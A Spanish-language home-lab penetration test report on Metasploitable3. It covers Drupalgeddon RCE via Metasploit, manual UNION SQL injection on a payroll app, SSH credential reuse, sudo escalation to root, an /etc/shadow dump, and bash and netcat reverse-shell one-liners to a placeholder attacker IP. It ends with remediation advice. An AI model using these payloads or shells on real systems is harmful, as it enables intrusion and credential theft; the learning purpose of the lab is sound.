
Informe de prueba de penetración de laboratorio doméstico de Metasploitable3 que cubre reconocimiento con Nmap, RCE de Drupalgeddon, inyección SQL, reutilización de credenciales SSH, escalada de privilegios con sudo y shells inversas.
Autor: Arlen Fortunato
Fecha: Septiembre 2026
Entorno: Parrot OS (atacante) → Metasploitable3 Ubuntu 14.04 (objetivo)
Alcance: Prueba de penetración de red completa — enumeración, explotación, escalada de privilegios, post-explotación
Tipo: Home Lab / Práctica de Capture The Flag
⚠️ Todas las credenciales a continuación están censuradas. Este fue un ejercicio legal y aislado en un laboratorio doméstico.
| Herramienta | Rol |
|---|---|
| Nmap | Escaneo de puertos, detección de servicio/versión, fingerprint de SO |
| Metasploit (msfconsole) | Explotación (CVE-2014-3704), gestión de sesiones |
| msfvenom | Generación de payloads (reverse shells bash/netcat) |
| nc (netcat) | Listener de reverse shell |
| curl / sed | Creación manual de SQLi + formateo de salida HTML |
| ssh / scp | Acceso remoto, validación de credenciales |
| openssl s_client | Verificación de servicio TLS/SSL |
| gobuster | Fuerza bruta de directorios (enumeración web) |
nmap -O -sV -p- -oA metasploitable3 <TARGET_IP>
SO: Linux Ubuntu 14.04, Kernel 3.13.0-24-generic x86_64
Vulnerabilidad: UnrealIRCd 3.2.8.1 se distribuía históricamente con un binario troyanizado que ejecuta comandos arbitrarios cuando un cliente no autenticado envía una cadena de activación antes del registro — RCE como el usuario del demonio IRC.
Intento de explotación: Módulo de Metasploit exploit/unix/irc/unreal_ircd_3281_backdoor con payloads cmd/unix/reverse_perl, cmd/unix/reverse_netcat, cmd/unix/reverse_bash. La verificación automática del módulo reportó el servicio como vulnerable; ninguna sesión devuelta con ningún payload.
Solución de problemas realizada:
nc -vz)openssl s_client)nc devolvió error de protocolo IRC 451 — el comando fue interpretado como comando IRC, nunca ejecutadoConclusión: El banner de versión indica la compilación vulnerable, pero el backdoor está ausente en esta instancia (binario limpio/recompilado). Clasificado como no explotable — falso positivo, con evidencia.
Vulnerabilidad: Drupal 7.x anterior a 7.32 contiene una inyección SQL crítica en la capa de abstracción de base de datos que permite ejecución remota de código sin autenticación.
Confirmación de versión: CHANGELOG.txt → "Drupal 7.5, 2011-07-27"
Explotación:
msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS <TARGET_IP>
set TARGETURI /drupal/
set LHOST <ATTACKER_IP>
set payload php/meterpreter_reverse_tcp
run
Resultado:
getuid → www-data
sysinfo → Linux ubuntu 3.13.0-24-generic x86_64
pwd → /var/www/html/drupal
Enumeración post-explotación:
/var/www/html: chat/, drupal/, payroll_app.php, phpmyadmin//home: 16 cuentas de usuarioVulnerabilidad: Formulario de inicio de sesión de payroll_app.php, inyección SQL en el campo de contraseña. Sin automatización — creada mediante curl.
Paso 1 — Omisión de autenticación:
' or 1=1#
' cierra la cadena SQL, or 1=1 fuerza verdadero, # comenta la comilla final.
Paso 2 — Conteo de columnas + mapeo de visualización:
' UNION SELECT null, null, null, null# -- sin error = 4 columnas
' UNION SELECT 1, 2, 3, 4# -- marcadores: 1=Username, 2=First, 3=Last, 4=Salary
Paso 3 — Enumeración de information_schema:
| Pregunta | Respuesta |
|---|---|
| Versión de BD / usuario | MySQL 5.5.62, root@localhost |
Paso 4 — Volcado (contraseñas censuradas):
' UNION SELECT username, password, salary, null FROM users#
Ruta 1 — Cuenta por defecto: el par de credenciales por defecto vagrant autenticado mediante SSH → usuario en el grupo sudo con (ALL : ALL) NOPASSWD: ALL.
Ruta 2 — Reutilización de credenciales: credenciales obtenidas del volcado SQLi autenticadas directamente mediante SSH como otro usuario del laboratorio (luke_skywalker, grupo sudo, (ALL : ALL) ALL).
Importancia: demuestra la reutilización de credenciales entre servicios — credenciales de aplicación mapeadas a una cuenta de sistema.
vagrant → sudo -l muestra NOPASSWD: ALL → sudo su - → uid=0(root).luke_skywalker → sudo (ALL : ALL) ALL → sudo su - → uid=0(root).No se requirió exploit local — ambas cuentas poseen permisos sudo excesivamente permisivos.
sudo cat /etc/shadow
Se extrajeron 16 hashes md5crypt ($1$) — recolección completa de credenciales tras la escalada de privilegios.
Payload 1 — bash:
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1
Capturado en nc -lnvp 4444 → shell interactiva.
Payload 2 — netcat (named-pipe):
mkfifo /tmp/fifo; nc <ATTACKER_IP> 4445 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo
Capturado en nc -lnvp 4445 → shell interactiva.
Mecanismo: el named pipe (FIFO) conecta stdin/stdout de netcat a /bin/sh, formando un túnel bidireccional de un solo socket; el FIFO se elimina después.
Todas las pruebas se realizaron exclusivamente en un laboratorio doméstico aislado utilizando software intencionalmente vulnerable (Rapid7 Metasploitable3). No se comprometieron sistemas de producción ni objetivos no autorizados. Este informe es solo para fines educativos y desarrollo personal de habilidades.
| Puerto | Estado | Servicio | Versión |
|---|
| 21/tcp | abierto | FTP | ProFTPD 1.3.5 |
| 22/tcp | abierto | SSH | OpenSSH 6.6.1p1 |
| 80/tcp | abierto | HTTP | Apache httpd 2.4.7 (Ubuntu) |
| 445/tcp | abierto | SMB | Samba smbd 3.X–4.X |
| 631/tcp | abierto | IPP | CUPS 1.7 |
| 3306/tcp | abierto | MySQL | MySQL (no autorizado) |
| 3500/tcp | abierto | HTTP | WEBrick httpd 1.3.1 (Ruby 2.3.8) |
| 6697/tcp | abierto | IRC | UnrealIRCd |
| 8080/tcp | abierto | HTTP | Jetty 8.1.7.v20120910 |
| # | Vulnerabilidad | CVE / Tipo | Puerto | Severidad | Resultado |
|---|
| 1 | Fingerprint de versión de UnrealIRCd — sondeo de backdoor | CVE-2010-2075 | 6697 | ⚠️ Falso positivo | Verificación automática del módulo superada, sondeo manual fallido — backdoor ausente en la compilación |
| 2 | Drupal 7.5 — Drupageddon RCE | CVE-2014-3704 | 80 | 🔴 Crítica | Shell Meterpreter como www-data |
| 3 | Aplicación de nóminas — SQLi UNION (manual) | Inyección manual | 80 | 🔴 Crítica | Volcado completo de BD (15 usuarios, contraseñas en texto plano — censuradas) |
| 4 | SSH — credenciales por defecto + reutilizadas | Por defecto / reutilización de credenciales | 22 | 🔴 Crítica | vagrant (sudo NOPASSWD), luke_skywalker (sudo ALL) |
| 5 | Escalada de privilegios (dos rutas) | sudo mal configurado | N/A | 🔴 Crítica | root mediante ambas cuentas |
| 6 | Volcado de shadow | Post-explotación | N/A | 🔴 Crítica | 16 hashes md5crypt extraídos |
| 7 | Reverse shells (bash + netcat) | msfvenom / creación manual | 4444/4445 | 🟠 Alta | Shells interactivas capturadas en el listener del atacante |
| Bases de datos | information_schema, drupal, mysql, payroll, performance_schema |
Tablas en payroll | users |
Columnas en users | username, first_name, last_name, password, salary |
| Usuario | Contraseña | Salario |
|---|
| leia_organa | [CENSURADO] | 9560 |
| luke_skywalker | [CENSURADO] | 1080 |
| han_solo | [CENSURADO] | 1200 |
| artoo_detoo | [CENSURADO] | 22222 |
| boba_fett | [CENSURADO] | 20000 |
| greedo | [CENSURADO] | 50000 |
| (+ 9 cuentas más) | [CENSURADO] | — |
| Hallazgo | Recomendación |
|---|
| Fingerprint de versión de UnrealIRCd | Verificar la integridad del origen del binario (checksums); actualizar o eliminar |
| Drupal 7.5 | Actualizar a la última versión estable; aplicar SA-CORE-2014-005 |
| SQLi en nóminas | Consultas parametrizadas / sentencias preparadas; validar la entrada |
| Credenciales SSH por defecto | Rotar/eliminar cuentas por defecto; forzar autenticación basada en claves |
| Sudo con privilegios excesivos | Aplicar el principio de mínimo privilegio; eliminar concesiones NOPASSWD generales |
| Reutilización de credenciales | Forzar contraseñas únicas por servicio; política de contraseñas |
| Hashing de contraseñas débil | Migrar md5crypt → bcrypt / Argon2id |